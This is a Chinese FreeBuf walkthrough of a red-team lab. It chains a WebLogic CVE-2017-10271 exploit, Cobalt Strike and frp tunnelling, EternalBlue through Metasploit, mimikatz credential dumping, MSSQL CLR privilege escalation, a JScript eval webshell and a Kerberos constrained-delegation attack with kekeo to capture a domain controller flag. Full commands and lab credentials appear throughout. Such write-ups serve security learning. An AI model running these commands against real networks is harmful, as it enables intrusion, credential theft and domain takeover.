freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

从外网 Weblogic 打进内网,再到约束委派接管域控
2021-11-12 16:05:14

前言

域控桌面下有一个 Flag 文件,需要拿到即可通关。

外网打点之 Weblogic-CVE-2017-10271

首先拿到了目标的 IP:192.168.0.154,对该 IP 使用 Nmap 进行常规 TCP 端口扫描:

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.0.154

在一般实战中建议制定端口扫描,因为速度快且扫描精度高:

发现开放了两个端口,其中有一个是 Weblogic 12:http://192.168.0.154:7001/console/login/LoginForm.jsp

通过信息搜集发现目标存在 CVE-2017-10271反序列化漏洞:

且当前权限是一个 administrator 权限,而且出网:

由于当前机器无 AV 直接上 Powershell 上线到 CobaltStrike:

工作组下的内网渗透

通过发现当前机器是有两个网卡,其中 10 是内网网卡,随后对当前机器进行抓密码:

WEBLOGIC\Administrator ccef208c6485269c20db2cad21734fe7

由于当前是 Windows 2012 所以无法抓到明文,先留着,由于是工作组环境,先对其 C 段进行信息搜集看看存活:

发现内网有一台 Windows 7(10.10.20.7)应该是域机器。

通过 fscan 也扫描出来存在永恒之蓝:

随后通过 Frp 建立一个 socks5 隧道,红队人员服务器配置文件 frps.ini,然后运行:

[common]
bind_addr =0.0.0.0
bind_port = 7000

之后来到目标跳板机器运行 frpc:

[common]
server_addr = 192.168.0.175
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

建立好 socks5 隧道后 Metasploit 对其利用拿到 Meterpreter 会话:

msf6 > setg Proxies socks5:192.168.0.175:7777
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

通过调用 mimikatz 成功抓到其域用户的密码:

Username  Domain   Password
--------  ------   --------
saul      REDTEAM  admin!@#45

中转上线到 CobaltStrike 进行第二层内网域渗透

因为此 Win7 不出网,随后只能通过 CobaltStrike 设置中转:

然后成功上线到 CobaltStrike:

通过信息搜集发现当前机器的确是在域环境:

随后定位到域控 DC IP 为:10.10.10.8

想个办法拿到 DC,首先当前进程是没有域管的,所以暂且放弃令牌窃取:

由于我们已经拿到了一个域用户的账户密码,尝试查找约束委派的用户:

AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密。

通过信息搜集发现 sqlserver 这台机器开放了 80、1433(mssql):

通过一顿信息搜集没发现 80 有什么可利用的东西:

但是通过一波密码喷洒发现 mssql 数据库的密码是弱口令:

随后对其进行 xp_cmdshell 调用系统命令:

发现权限很小只是一个普通服务权限,由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了:

既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧。

一般 iis 的目录是:C:\inetpub\wwwroot,那么查看下是否存在:

果然还是默认目录,接下来写个 txt 试试:

不行权限太小了,这条路走不通。

使用 SharpSQLTools 开启目标 clr:

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

然后启用并调用命令:

SharpSQLTools.exe 10.10.10.18 sa sa master enable_clrSharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

这下子就是一个系统权限了!

随后添加了一个管理员:

asp.netqwe123..

然后写文件也能写进去:

然后写了一个一句话进去:

echo ^<^%^@Page Language=^"^Jscript^"^%^>^<^%^eval(Request.Item^[^"saul^"^]^,^"unsafe^")^;^%^>>c:\inetpub\wwwroot\1.aspx

发现都不行,还是用 MSF 把:

exploit/windows/mssql/mssql_clr_payload

然后找到了一个可读可写目录上传 exe 成功,然后中转再上线到 CobaltStrike:

权限太小了,用这个执行下:

这个时候提权成功,然后抓到 sqlserver 的密码:

user : redteam\sqlserverpass : Server12345

之前信息搜集的时候我们知道sqlserver是一个约束委派的用户,我们可以通过约束委派攻击来接管域控。

约束委派攻击接管域控

利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi" 

然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

成功拿到域控权限:

最后也是成功拿到 Flag:

结尾

本靶场还有很多种方式能够拿到域控,大家有兴趣可以多试试几种漏洞 :)

这里是 渗透攻击红队,我是 saulGoodman,有问题可以随时私信我与我联系。

# 渗透测试 # 内网渗透 # 域渗透 # 红队攻防 # 红队实战;
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录